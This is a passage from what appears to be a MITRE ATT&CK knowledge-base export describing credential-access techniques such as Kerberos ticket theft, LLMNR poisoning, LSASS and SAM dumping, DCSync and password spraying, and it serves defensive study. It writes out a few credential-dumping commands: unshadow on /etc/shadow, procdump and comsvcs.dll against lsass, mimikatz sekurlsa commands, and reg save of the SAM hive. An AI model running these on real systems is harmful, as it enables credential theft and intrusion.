\u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n\nT1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)\nT1557 | Adversary-in-the-Middle | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\nT1556.002 | Password Filter DLL | Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)\nT1556.001 | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\nT1556 | Modify Authentication Process | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nT1056.004 | Credential API Hooking | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nT1056.003 | Web Portal Capture | Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)\nT1056.002 | GUI Input Capture | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) \nT1056.001 | Keylogging | Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) \nT1555 | Credentials from Password Stores | Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nT1552.005 | Cloud Instance Metadata API | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n\nT1003.008 | /etc/passwd and /etc/shadow | Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n\nT1003.007 | Proc Filesystem | Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.\nT1003.006 | DCSync | Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)\nT1558.003 | Kerberoasting | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\nT1552.006 | Group Policy Preferences | Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n\nT1003.003 | NTDS | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\nT1003.002 | Security Account Manager | Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n\nT1003.001 | LSASS Memory | Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n\nT1110.004 | Credential Stuffing | Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\nT1110.003 | Password Spraying | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.\nT1110.002 | Password Cracking | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\nT1110.001 | Password Guessing | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.\nT1552.004 | Private Keys | Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\nT1552.003 | Bash History | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\nT1552.002 | Credentials in Registry | Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s\nT1552.001 | Credentials In Files | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)\nT1552 | Unsecured Credentials | Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).\nT1539 | Steal Web Session Cookie | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\nT1528 | Steal Application Access Token | Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through 